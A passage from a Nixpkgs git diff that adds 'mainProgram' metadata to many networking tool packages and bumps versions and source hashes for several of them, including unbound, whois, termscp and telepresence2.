jqueiroz ]; + mainProgram = "sshping"; }; } diff --git a/pkgs/tools/networking/ssldump/default.nix b/pkgs/tools/networking/ssldump/default.nix index 478d2785ad3f5..a855315a565cf 100644 --- a/pkgs/tools/networking/ssldump/default.nix +++ b/pkgs/tools/networking/ssldump/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = "BSD-style"; maintainers = with maintainers; [ aycanirican ]; platforms = platforms.unix; + mainProgram = "ssldump"; }; } diff --git a/pkgs/tools/networking/sslsplit/default.nix b/pkgs/tools/networking/sslsplit/default.nix index 6712d44569c42..ca8a96d3321f4 100644 --- a/pkgs/tools/networking/sslsplit/default.nix +++ b/pkgs/tools/networking/sslsplit/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { platforms = platforms.all; maintainers = with maintainers; [ contrun ]; license = with licenses; [ bsd2 mit unlicense free ]; + mainProgram = "sslsplit"; }; } diff --git a/pkgs/tools/networking/sstp/default.nix b/pkgs/tools/networking/sstp/default.nix index b93d6cbd9cfb0..72745114a26e9 100644 --- a/pkgs/tools/networking/sstp/default.nix +++ b/pkgs/tools/networking/sstp/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; maintainers = with maintainers; [ ]; license = licenses.gpl2Plus; + mainProgram = "sstpc"; }; } diff --git a/pkgs/tools/networking/stun/default.nix b/pkgs/tools/networking/stun/default.nix index c74c73ec6a0e8..de4787eca63a5 100644 --- a/pkgs/tools/networking/stun/default.nix +++ b/pkgs/tools/networking/stun/default.nix @@ -37,5 +37,6 @@ stdenv.mkDerivation rec { license = licenses.vsl10; maintainers = with maintainers; [ marcweber obadz ]; platforms = platforms.linux; + mainProgram = "stun"; }; } diff --git a/pkgs/tools/networking/stunnel/default.nix b/pkgs/tools/networking/stunnel/default.nix index cf23252b2e96c..219b728546164 100644 --- a/pkgs/tools/networking/stunnel/default.nix +++ b/pkgs/tools/networking/stunnel/default.nix @@ -56,5 +56,6 @@ stdenv.mkDerivation (finalAttrs: { license = lib.licenses.gpl2Plus; maintainers = [ lib.maintainers.thoughtpolice ]; platforms = lib.platforms.unix; + mainProgram = "stunnel"; }; }) diff --git a/pkgs/tools/networking/subfinder/default.nix b/pkgs/tools/networking/subfinder/default.nix index 73fe59095a0c6..3cc7c51199de4 100644 --- a/pkgs/tools/networking/subfinder/default.nix +++ b/pkgs/tools/networking/subfinder/default.nix @@ -32,5 +32,6 @@ buildGoModule rec { homepage = "https://github.com/projectdiscovery/subfinder"; license = licenses.mit; maintainers = with maintainers; [ fpletz Br1ght0ne Misaka13514 ]; + mainProgram = "subfinder"; }; } diff --git a/pkgs/tools/networking/subnetcalc/default.nix b/pkgs/tools/networking/subnetcalc/default.nix index e2d74a586d81a..4c88c6cb29f76 100644 --- a/pkgs/tools/networking/subnetcalc/default.nix +++ b/pkgs/tools/networking/subnetcalc/default.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "subnetcalc"; - version = "2.4.23"; + version = "2.5.1"; src = fetchFromGitHub { owner = "dreibh"; repo = "subnetcalc"; rev = "subnetcalc-${finalAttrs.version}"; - hash = "sha256-uX/roOWjeuuuEFpBbF+hEPDOo0RTR79WpyNvr9U7wR4="; + hash = "sha256-uP2T7c5aBvOsuJK648WNWO9WmRN4WCRlAIBFYTYyUkw="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/networking/suckit/default.nix b/pkgs/tools/networking/suckit/default.nix index c6f18b26b8c41..3bd9f825469a4 100644 --- a/pkgs/tools/networking/suckit/default.nix +++ b/pkgs/tools/networking/suckit/default.nix @@ -35,5 +35,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/skallwar/suckit"; license = with licenses; [ asl20 /* or */ mit ]; maintainers = with maintainers; [ figsoda ]; + mainProgram = "suckit"; }; } diff --git a/pkgs/tools/networking/swagger-cli/default.nix b/pkgs/tools/networking/swagger-cli/default.nix index 5a20ce93cc7cc..8658ad45520a4 100644 --- a/pkgs/tools/networking/swagger-cli/default.nix +++ b/pkgs/tools/networking/swagger-cli/default.nix @@ -25,5 +25,6 @@ buildNpmPackage rec { homepage = "https://apitools.dev/swagger-cli/"; license = licenses.mit; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "swagger-cli"; }; } diff --git a/pkgs/tools/networking/swagger-codegen/default.nix b/pkgs/tools/networking/swagger-codegen/default.nix index 27ea4ff2d517a..15e125f64fb9d 100644 --- a/pkgs/tools/networking/swagger-codegen/default.nix +++ b/pkgs/tools/networking/swagger-codegen/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryBytecode ]; license = licenses.asl20; maintainers = [ maintainers.jraygauthier ]; + mainProgram = "swagger-codegen"; }; } diff --git a/pkgs/tools/networking/swagger-codegen3/default.nix b/pkgs/tools/networking/swagger-codegen3/default.nix index ef538cd68f637..4caade2c053e7 100644 --- a/pkgs/tools/networking/swagger-codegen3/default.nix +++ b/pkgs/tools/networking/swagger-codegen3/default.nix @@ -1,7 +1,7 @@ { lib, stdenv, fetchurl, jre, makeWrapper, testers, swagger-codegen3 }: stdenv.mkDerivation rec { - version = "3.0.52"; + version = "3.0.54"; pname = "swagger-codegen"; jarfilename = "${pname}-cli-${version}.jar"; @@ -12,7 +12,7 @@ stdenv.mkDerivation rec { src = fetchurl { url = "mirror://maven/io/swagger/codegen/v3/${pname}-cli/${version}/${jarfilename}"; - sha256 = "sha256-bBiETNzgySrOSFUB6356jiwDhwQ34QrOf2KdP5lv3Yg="; + sha256 = "sha256-OOv+7r43mxUZjTs3tGHax3Yu7CNM8bg6XkOt5pJADy0="; }; dontUnpack = true; diff --git a/pkgs/tools/networking/tayga/default.nix b/pkgs/tools/networking/tayga/default.nix index 382b010515e8f..1fa1d8dd5610e 100644 --- a/pkgs/tools/networking/tayga/default.nix +++ b/pkgs/tools/networking/tayga/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ _0x4A6F ]; platforms = platforms.linux; + mainProgram = "tayga"; }; } diff --git a/pkgs/tools/networking/tcp-cutter/default.nix b/pkgs/tools/networking/tcp-cutter/default.nix index ade825dbe103c..71075cc5dd1c5 100644 --- a/pkgs/tools/networking/tcp-cutter/default.nix +++ b/pkgs/tools/networking/tcp-cutter/default.nix @@ -19,5 +19,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.linux; maintainers = [ maintainers.offline ]; + mainProgram = "tcp-cutter"; }; } diff --git a/pkgs/tools/networking/tcpflow/default.nix b/pkgs/tools/networking/tcpflow/default.nix index 46fda22959438..73de0acef4e61 100644 --- a/pkgs/tools/networking/tcpflow/default.nix +++ b/pkgs/tools/networking/tcpflow/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ raskin obadz ]; platforms = platforms.unix; + mainProgram = "tcpflow"; }; } diff --git a/pkgs/tools/networking/tcptraceroute/default.nix b/pkgs/tools/networking/tcptraceroute/default.nix index 379caedaaf1bf..cc5594afd5a50 100644 --- a/pkgs/tools/networking/tcptraceroute/default.nix +++ b/pkgs/tools/networking/tcptraceroute/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/mct/tcptraceroute"; license = lib.licenses.gpl2; maintainers = [ ]; + mainProgram = "tcptraceroute"; }; } diff --git a/pkgs/tools/networking/telepresence2/default.nix b/pkgs/tools/networking/telepresence2/default.nix index 49f44f52bc5f2..35629c261f1e2 100644 --- a/pkgs/tools/networking/telepresence2/default.nix +++ b/pkgs/tools/networking/telepresence2/default.nix @@ -27,13 +27,13 @@ let in buildGoModule rec { pname = "telepresence2"; - version = "2.17.0"; + version = "2.18.0"; src = fetchFromGitHub { owner = "telepresenceio"; repo = "telepresence"; rev = "v${version}"; - hash = "sha256-wmoOBoMjPCNJGg86Cl2V4izZQDiZjNzwErvWMYY1MGk="; + hash = "sha256-zk6HyZfYeJecJgdMU3qnXIKDYuvnu5yjSZtVvKem4uI="; }; propagatedBuildInputs = [ @@ -47,7 +47,7 @@ buildGoModule rec { export CGO_ENABLED=0 ''; - vendorHash = "sha256-rTlMd56iBSBLTRYJlKHWmYyyeBtNk2WQ3hrPJl9dMYI="; + vendorHash = "sha256-wvzrnwzkV4SXsiZfIrowMF0G7qFdjEVrF77vM81rxLs="; ldflags = [ "-s" "-w" "-X=github.com/telepresenceio/telepresence/v2/pkg/version.Version=${src.rev}" diff --git a/pkgs/tools/networking/tendermint/default.nix b/pkgs/tools/networking/tendermint/default.nix index a861ab0b0ed91..858a306e95bb3 100644 --- a/pkgs/tools/networking/tendermint/default.nix +++ b/pkgs/tools/networking/tendermint/default.nix @@ -27,5 +27,6 @@ buildGoModule rec { license = licenses.asl20; maintainers = with maintainers; [ alexfmpe ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "tendermint"; }; } diff --git a/pkgs/tools/networking/termscp/Cargo.lock.patch b/pkgs/tools/networking/termscp/Cargo.lock.patch deleted file mode 100644 index 76b2d996e25e0..0000000000000 --- a/pkgs/tools/networking/termscp/Cargo.lock.patch +++ /dev/null @@ -1,13 +0,0 @@ -diff --git i/Cargo.lock w/Cargo.lock -index 5cbb602..47046b8 100644 ---- i/Cargo.lock -+++ w/Cargo.lock -@@ -2949,7 +2949,7 @@ dependencies = [ - - [[package]] - name = "termscp" --version = "0.12.2" -+version = "0.12.3" - dependencies = [ - "argh", - "bitflags 2.3.3", diff --git a/pkgs/tools/networking/termscp/default.nix b/pkgs/tools/networking/termscp/default.nix index e7fef14cec59f..924de6cf1e2e3 100644 --- a/pkgs/tools/networking/termscp/default.nix +++ b/pkgs/tools/networking/termscp/default.nix @@ -14,20 +14,16 @@ rustPlatform.buildRustPackage rec { pname = "termscp"; - version = "0.12.3"; + version = "0.13.0"; src = fetchFromGitHub { owner = "veeso"; - repo = pname; + repo = "termscp"; rev = "refs/tags/v${version}"; - hash = "sha256-+5s5PskSHZKv1deti5r986qXg8J9APuVXY+Lvq3ki0w="; + hash = "sha256-/Mnoljgp87ML6+3vV1vZTFO0TSY5hr8E8U1fXJq31pE="; }; - cargoPatches = [ - ./Cargo.lock.patch - ]; - - cargoHash = "sha256-2RmYxtjJm70qbiGl8YHXgebtvNsQvBdgkNDm8td9oNk="; + cargoHash = "sha256-xq21cncEYNSwDiKvVSM1J2Jz3TqOkYMK3gckKpM5+6E="; nativeBuildInputs = [ pkg-config @@ -60,5 +56,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/veeso/termscp/blob/v${version}/CHANGELOG.md"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; + mainProgram = "termscp"; }; } diff --git a/pkgs/tools/networking/tgt/default.nix b/pkgs/tools/networking/tgt/default.nix index 734bf10790f04..349c0823a510d 100644 --- a/pkgs/tools/networking/tgt/default.nix +++ b/pkgs/tools/networking/tgt/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation rec { pname = "tgt"; - version = "1.0.90"; + version = "1.0.91"; src = fetchFromGitHub { owner = "fujita"; repo = pname; rev = "v${version}"; - sha256 = "sha256-C1xrsL7+S+TyMWULVuw7+ZV5hxfhXorScfqndomefRw="; + sha256 = "sha256-/aykQolUWcCU/PV3bYq8cR0oSAS+ojzZC5PBWgIh2dM="; }; nativeBuildInputs = [ libxslt docbook_xsl makeWrapper ]; diff --git a/pkgs/tools/networking/tinyfecvpn/default.nix b/pkgs/tools/networking/tinyfecvpn/default.nix index 71e5dea12be68..8e609a886b306 100644 --- a/pkgs/tools/networking/tinyfecvpn/default.nix +++ b/pkgs/tools/networking/tinyfecvpn/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ ]; + mainProgram = "tinyvpn"; }; } diff --git a/pkgs/tools/networking/tox-node/default.nix b/pkgs/tools/networking/tox-node/default.nix index 4056321c93457..10a823f287362 100644 --- a/pkgs/tools/networking/tox-node/default.nix +++ b/pkgs/tools/networking/tox-node/default.nix @@ -23,5 +23,6 @@ rustPlatform.buildRustPackage rec { license = [ licenses.gpl3Plus ]; platforms = platforms.linux; maintainers = with maintainers; [ suhr kurnevsky ]; + mainProgram = "tox-node"; }; } diff --git a/pkgs/tools/networking/traceroute/default.nix b/pkgs/tools/networking/traceroute/default.nix index 90e53b184a56c..e0c7fd61a75a9 100644 --- a/pkgs/tools/networking/traceroute/default.nix +++ b/pkgs/tools/networking/traceroute/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ koral ]; platforms = platforms.linux; + mainProgram = "traceroute"; }; } diff --git a/pkgs/tools/networking/tran/default.nix b/pkgs/tools/networking/tran/default.nix index 3a9a78a55e974..767211a7e532d 100644 --- a/pkgs/tools/networking/tran/default.nix +++ b/pkgs/tools/networking/tran/default.nix @@ -29,5 +29,6 @@ buildGoModule rec { homepage = "https://github.com/abdfnx/tran"; license = licenses.mit; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "tran"; }; } diff --git a/pkgs/tools/networking/transmission-rss/default.nix b/pkgs/tools/networking/transmission-rss/default.nix index 095ccfb91a5aa..19df133e40284 100644 --- a/pkgs/tools/networking/transmission-rss/default.nix +++ b/pkgs/tools/networking/transmission-rss/default.nix @@ -25,5 +25,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/herlon214/transmission-rss"; maintainers = with maintainers; [ icewind1991 ]; license = licenses.mit; + mainProgram = "transmission-rss"; }; } diff --git a/pkgs/tools/networking/trurl/default.nix b/pkgs/tools/networking/trurl/default.nix index 50b70e3f574b3..3f5b4caff91a5 100644 --- a/pkgs/tools/networking/trurl/default.nix +++ b/pkgs/tools/networking/trurl/default.nix @@ -2,22 +2,15 @@ stdenv.mkDerivation rec { pname = "trurl"; - version = "0.9"; + version = "0.10"; src = fetchFromGitHub { owner = "curl"; repo = pname; rev = "${pname}-${version}"; - hash = "sha256-R/7Saea84iqUICAAQz9zcfDLDud4uFedY2752xyg+oE="; + hash = "sha256-/eivtsxNzW6IlX08Zfnj06C1kdaaRs4yvqLlbBuo8ec="; }; - # The version number was forgotten to be updated for the release, - # so do it manually in the meantime. - # See https://github.com/curl/trurl/discussions/244#discussioncomment-7436369 - postPatch = '' - substituteInPlace version.h --replace 0.8 0.9 - ''; - outputs = [ "out" "dev" "man" ]; separateDebugInfo = stdenv.isLinux; @@ -42,5 +35,6 @@ stdenv.mkDerivation rec { license = licenses.curl; maintainers = with maintainers; [ christoph-heiss ]; platforms = platforms.all; + mainProgram = "trurl"; }; } diff --git a/pkgs/tools/networking/tun2socks/default.nix b/pkgs/tools/networking/tun2socks/default.nix index 37019a38b348b..dc7cdd243fec5 100644 --- a/pkgs/tools/networking/tun2socks/default.nix +++ b/pkgs/tools/networking/tun2socks/default.nix @@ -27,5 +27,6 @@ buildGoModule rec { description = "tun2socks - powered by gVisor TCP/IP stack"; license = licenses.gpl3Plus; maintainers = with maintainers; [ nickcao ]; + mainProgram = "tun2socks"; }; } diff --git a/pkgs/tools/networking/tunwg/default.nix b/pkgs/tools/networking/tunwg/default.nix index dfcbbff907b72..1b36709baa489 100644 --- a/pkgs/tools/networking/tunwg/default.nix +++ b/pkgs/tools/networking/tunwg/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { homepage = "https://github.com/ntnj/tunwg"; license = licenses.mit; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "tunwg"; }; } diff --git a/pkgs/tools/networking/udpreplay/default.nix b/pkgs/tools/networking/udpreplay/default.nix index 73bbe79334998..53147a9fe7a44 100644 --- a/pkgs/tools/networking/udpreplay/default.nix +++ b/pkgs/tools/networking/udpreplay/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.considerate ]; platforms = platforms.linux; + mainProgram = "udpreplay"; }; } diff --git a/pkgs/tools/networking/udptunnel/default.nix b/pkgs/tools/networking/udptunnel/default.nix index 362f6fbbc2cf5..396d105ca287f 100644 --- a/pkgs/tools/networking/udptunnel/default.nix +++ b/pkgs/tools/networking/udptunnel/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [viric]; platforms = with lib.platforms; linux; + mainProgram = "udptunnel"; }; } diff --git a/pkgs/tools/networking/uget/default.nix b/pkgs/tools/networking/uget/default.nix index 5f255ecb80f83..cbbb1c3169490 100644 --- a/pkgs/tools/networking/uget/default.nix +++ b/pkgs/tools/networking/uget/default.nix @@ -53,5 +53,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21; platforms = platforms.unix; maintainers = with maintainers; [ romildo ]; + mainProgram = "uget-gtk"; }; } diff --git a/pkgs/tools/networking/unbound/default.nix b/pkgs/tools/networking/unbound/default.nix index d2e657e4e13f6..0c7d378eb2a0d 100644 --- a/pkgs/tools/networking/unbound/default.nix +++ b/pkgs/tools/networking/unbound/default.nix @@ -51,11 +51,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "unbound"; - version = "1.19.0"; + version = "1.19.1"; src = fetchurl { url = "https://nlnetlabs.nl/downloads/unbound/unbound-${finalAttrs.version}.tar.gz"; - hash = "sha256-qXUyRohUxhwt5IykFw3oVP07yVyAQ7sM+w/iZgWWZiQ="; + hash = "sha256-vB1Xbz3YRqBzmtxB/6pwJATGdn0rYILeufL5fLsko6k="; }; outputs = [ "out" "lib" "man" ]; # "dev" would only split ~20 kB diff --git a/pkgs/tools/networking/uqmi/default.nix b/pkgs/tools/networking/uqmi/default.nix index 83500191b71e6..6fd830435aa1f 100644 --- a/pkgs/tools/networking/uqmi/default.nix +++ b/pkgs/tools/networking/uqmi/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation { license = licenses.gpl2Plus; platforms = platforms.all; maintainers = with maintainers; [ fpletz mkg20001 ]; + mainProgram = "uqmi"; }; } diff --git a/pkgs/tools/networking/urlwatch/default.nix b/pkgs/tools/networking/urlwatch/default.nix index a17b4b88da3d6..36ad0ba77ce75 100644 --- a/pkgs/tools/networking/urlwatch/default.nix +++ b/pkgs/tools/networking/urlwatch/default.nix @@ -1,5 +1,6 @@ { lib , fetchFromGitHub +, fetchpatch , python3Packages }: @@ -14,6 +15,16 @@ python3Packages.buildPythonApplication rec { hash = "sha256-dGohG2+HrsuKegPAn1fmpLYPpovEEUsx+C/0sp2/cX0="; }; + patches = [ + # lxml 5 compatibility fix + # FIXME: remove in next release + (fetchpatch { + url = "https://github.com/thp/urlwatch/commit/123de66d019aef7fc18fab6d56cc2a54d81fea3f.patch"; + excludes = [ "CHANGELOG.md" ]; + hash = "sha256-C9qb6TYeNcdszunE2B5DWRyXyqnANd32H7m9KmidCD0="; + }) + ]; + propagatedBuildInputs = with python3Packages; [ appdirs cssselect diff --git a/pkgs/tools/networking/vegeta/default.nix b/pkgs/tools/networking/vegeta/default.nix index caa420cbfa7a9..a7b71272e9a20 100644 --- a/pkgs/tools/networking/vegeta/default.nix +++ b/pkgs/tools/networking/vegeta/default.nix @@ -36,5 +36,6 @@ buildGoModule rec { changelog = "https://github.com/tsenart/vegeta/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ mmahut ]; + mainProgram = "vegeta"; }; } diff --git a/pkgs/tools/networking/vlan/default.nix b/pkgs/tools/networking/vlan/default.nix index aff4ebd09f370..d93c61bda547b 100644 --- a/pkgs/tools/networking/vlan/default.nix +++ b/pkgs/tools/networking/vlan/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { description = "User mode programs to enable VLANs on Ethernet devices"; platforms = platforms.linux; license = licenses.gpl2Plus; + mainProgram = "vconfig"; }; } diff --git a/pkgs/tools/networking/vopono/default.nix b/pkgs/tools/networking/vopono/default.nix index b8dbed5a02fa2..d2bb8fec3aa08 100644 --- a/pkgs/tools/networking/vopono/default.nix +++ b/pkgs/tools/networking/vopono/default.nix @@ -5,14 +5,14 @@ rustPlatform.buildRustPackage rec { pname = "vopono"; - version = "0.10.8"; + version = "0.10.9"; src = fetchCrate { inherit pname version; - hash = "sha256-D+yROQidu+a3qzCNrVxn0RNutIHNcIjMSNqPLHwA+zA="; + hash = "sha256-j8o9UxyBE7uML/7gw9UYbXLNYK9ka2jhUw5/v7pxIc8="; }; - cargoHash = "sha256-oKoSHjABtaJYGyJ/G0zXC42XpXiUXwdPsOhyL1+D3GI="; + cargoHash = "sha256-foJSaifllpGNMfxWMGm4BWwItOdtAmUcaOO1j1JMCpo="; meta = with lib; { description = "Run applications through VPN connections in network namespaces"; @@ -20,5 +20,6 @@ rustPlatform.buildRustPackage rec { license = licenses.gpl3Plus; platforms = platforms.linux; maintainers = [ maintainers.romildo ]; + mainProgram = "vopono"; }; } diff --git a/pkgs/tools/networking/wakelan/default.nix b/pkgs/tools/networking/wakelan/default.nix index 3416b33281d3a..2b18d5fd60ae4 100644 --- a/pkgs/tools/networking/wakelan/default.nix +++ b/pkgs/tools/networking/wakelan/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Plus; maintainers = [ lib.maintainers.viric ]; platforms = lib.platforms.unix; + mainProgram = "wakelan"; }; } diff --git a/pkgs/tools/networking/wakeonlan/default.nix b/pkgs/tools/networking/wakeonlan/default.nix index b15aadcb3ee3c..4a9f0936f9408 100644 --- a/pkgs/tools/networking/wakeonlan/default.nix +++ b/pkgs/tools/networking/wakeonlan/default.nix @@ -33,5 +33,6 @@ perlPackages.buildPerlPackage rec { homepage = "https://github.com/jpoliv/wakeonlan"; license = licenses.artistic1; maintainers = with maintainers; [ SuperSandro2000 ]; + mainProgram = "wakeonlan"; }; } diff --git a/pkgs/tools/networking/wavemon/default.nix b/pkgs/tools/networking/wavemon/default.nix index 8db0ed674b4f9..259996d93540e 100644 --- a/pkgs/tools/networking/wavemon/default.nix +++ b/pkgs/tools/networking/wavemon/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ raskin fpletz ]; platforms = platforms.linux; + mainProgram = "wavemon"; }; } diff --git a/pkgs/tools/networking/wbox/default.nix b/pkgs/tools/networking/wbox/default.nix index 3a5fce6808f8a..16f0883cd1d9d 100644 --- a/pkgs/tools/networking/wbox/default.nix +++ b/pkgs/tools/networking/wbox/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { homepage = "http://www.hping.org/wbox/"; license = lib.licenses.bsd3; platforms = lib.platforms.unix; + mainProgram = "wbox"; }; } diff --git a/pkgs/tools/networking/wg-netmanager/default.nix b/pkgs/tools/networking/wg-netmanager/default.nix index 2f74cd86e736f..ed86813153656 100644 --- a/pkgs/tools/networking/wg-netmanager/default.nix +++ b/pkgs/tools/networking/wg-netmanager/default.nix @@ -31,5 +31,6 @@ rustPlatform.buildRustPackage rec { license = with licenses; [ mit asl20 bsd3 mpl20 ]; maintainers = with maintainers; [ gin66 ]; platforms = platforms.linux; + mainProgram = "wg_netmanager"; }; } diff --git a/pkgs/tools/networking/wget2/default.nix b/pkgs/tools/networking/wget2/default.nix index 27d1a659029ba..017e6303ab2c4 100644 --- a/pkgs/tools/networking/wget2/default.nix +++ b/pkgs/tools/networking/wget2/default.nix @@ -102,5 +102,6 @@ stdenv.mkDerivation rec { # wget2 GPLv3+; libwget LGPLv3+ license = with licenses; [ gpl3Plus lgpl3Plus ]; maintainers = with maintainers; [ SuperSandro2000 ]; + mainProgram = "wget2"; }; } diff --git a/pkgs/tools/networking/whois/default.nix b/pkgs/tools/networking/whois/default.nix index 992303ec60721..1b29b0889b64a 100644 --- a/pkgs/tools/networking/whois/default.nix +++ b/pkgs/tools/networking/whois/default.nix @@ -1,14 +1,14 @@ { lib, stdenv, fetchFromGitHub, fetchpatch, perl, gettext, pkg-config, libidn2, libiconv }: stdenv.mkDerivation rec { - version = "5.5.20"; + version = "5.5.21"; pname = "whois"; src = fetchFromGitHub { owner = "rfc1036"; repo = "whois"; rev = "v${version}"; - hash = "sha256-0vQ6GBBtNA6Phlqhl3NZvEJqoyZ1um7VdkpsIRKhsm4="; + hash = "sha256-iVt/4rxOgF1wZBy+Lnh7jR7HDk2Y7hwljt9FrFuXdHg="; }; patches = [ @@ -46,5 +46,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ fpletz ]; platforms = platforms.unix; + mainProgram = "whois"; }; } diff --git a/pkgs/tools/networking/wireguard-go/default.nix b/pkgs/tools/networking/wireguard-go/default.nix index 0812726ab0e81..867de41d48166 100644 --- a/pkgs/tools/networking/wireguard-go/default.nix +++ b/pkgs/tools/networking/wireguard-go/default.nix @@ -34,5 +34,6 @@ buildGoModule rec { homepage = "https://git.zx2c4.com/wireguard-go/about/"; license = licenses.mit; maintainers = with maintainers; [ kirelagin yana zx2c4 ]; + mainProgram = "wireguard-go"; }; } diff --git a/pkgs/tools/networking/wireguard-vanity-address/default.nix b/pkgs/tools/networking/wireguard-vanity-address/default.nix index 74975e52b633f..cc7ebc557faf5 100644 --- a/pkgs/tools/networking/wireguard-vanity-address/default.nix +++ b/pkgs/tools/networking/wireguard-vanity-address/default.nix @@ -20,5 +20,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/warner/wireguard-vanity-address"; license = licenses.mit; maintainers = with maintainers; [ bcc32 ]; + mainProgram = "wireguard-vanity-address"; }; } diff --git a/pkgs/tools/networking/wireproxy/default.nix b/pkgs/tools/networking/wireproxy/default.nix index 5d41f67250b13..1ce31211f5b58 100644 --- a/pkgs/tools/networking/wireproxy/default.nix +++ b/pkgs/tools/networking/wireproxy/default.nix @@ -35,5 +35,6 @@ buildGoModule rec { homepage = "https://github.com/octeep/wireproxy"; license = licenses.isc; maintainers = with maintainers; [ _3JlOy-PYCCKUi ]; + mainProgram = "wireproxy"; }; } diff --git a/pkgs/tools/networking/wormhole-william/default.nix b/pkgs/tools/networking/wormhole-william/default.nix index af439b7413059..e08c0e51a58aa 100644 --- a/pkgs/tools/networking/wormhole-william/default.nix +++ b/pkgs/tools/networking/wormhole-william/default.nix @@ -26,5 +26,6 @@ buildGoModule rec { changelog = "https://github.com/psanford/wormhole-william/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ psanford ]; + mainProgram = "wormhole-william"; }; } diff --git a/pkgs/tools/networking/wrk/default.nix b/pkgs/tools/networking/wrk/default.nix index 20efd6f0182aa..082497ad7d28d 100644 --- a/pkgs/tools/networking/wrk/default.nix +++ b/pkgs/tools/networking/wrk/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation rec { license = licenses.asl20; maintainers = with maintainers; [ ragge ]; platforms = platforms.unix; + mainProgram = "wrk"; }; } diff --git a/pkgs/tools/networking/wrk2/default.nix b/pkgs/tools/networking/wrk2/default.nix index 62d4cd5dd6782..6d2988705129f 100644 --- a/pkgs/tools/networking/wrk2/default.nix +++ b/pkgs/tools/networking/wrk2/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { maintainers = with lib.maintainers; [ thoughtpolice ]; # never built on aarch64-linux since first introduction in nixpkgs broken = stdenv.isLinux && stdenv.isAarch64; + mainProgram = "wrk2"; }; } diff --git a/pkgs/tools/networking/wsl-vpnkit/default.nix b/pkgs/tools/networking/wsl-vpnkit/default.nix index 39152cbab2058..b9b25747a50f5 100644 --- a/pkgs/tools/networking/wsl-vpnkit/default.nix +++ b/pkgs/tools/networking/wsl-vpnkit/default.nix @@ -80,5 +80,6 @@ resholve.mkDerivation { changelog = "https://github.com/sakai135/wsl-vpnkit/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ terlar ]; + mainProgram = "wsl-vpnkit"; }; } diff --git a/pkgs/tools/networking/wuzz/default.nix b/pkgs/tools/networking/wuzz/default.nix index 6f1a5eeccae74..0ee71eb1e6519 100644 --- a/pkgs/tools/networking/wuzz/default.nix +++ b/pkgs/tools/networking/wuzz/default.nix @@ -27,5 +27,6 @@ buildGoModule rec { description = "Interactive cli tool for HTTP inspection"; license = licenses.agpl3; maintainers = with maintainers; [ pradeepchhetri ]; + mainProgram = "wuzz"; }; } diff --git a/pkgs/tools/networking/xrootd/default.nix b/pkgs/tools/networking/xrootd/default.nix index 991b9039860e1..1ceb6380aaa1b 100644 --- a/pkgs/tools/networking/xrootd/default.nix +++ b/pkgs/tools/networking/xrootd/default.nix @@ -135,22 +135,13 @@ stdenv.mkDerivation (finalAttrs: { "-DENABLE_VOMS=${if stdenv.isLinux then "TRUE" else "FALSE"}" ]; - # Workaround the library-not-found issue - # happening to binaries compiled with xrootd libraries. - # See #169677 - preFixup = '' - makeWrapperArgs+=("--prefix" "${lib.optionalString stdenv.hostPlatform.isDarwin "DY"}LD_LIBRARY_PATH" ":" "${placeholder "out"}/lib") - ''; - - postFixup = '' - while IFS= read -r FILE; do - wrapProgram "$FILE" "''${makeWrapperArgs[@]}" - done < <(find "$bin/bin" -mindepth 1 -maxdepth 1 -type f,l -perm -a+x) - '' + lib.optionalString (externalEtc != null) '' + postFixup = lib.optionalString (externalEtc != null) '' moveToOutput etc "$etc" ln -s ${lib.escapeShellArg externalEtc} "$out/etc" ''; + dontPatchELF = true; # shrinking rpath will cause runtime failures in dlopen + meta = with lib; { description = "High performance, scalable fault tolerant data access"; homepage = "https://xrootd.slac.stanford.edu"; diff --git a/pkgs/tools/networking/zap/default.nix b/pkgs/tools/networking/zap/default.nix index f763c609aae80..9bb63cf37e7cb 100644 --- a/pkgs/tools/networking/zap/default.nix +++ b/pkgs/tools/networking/zap/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation rec { maintainers = with 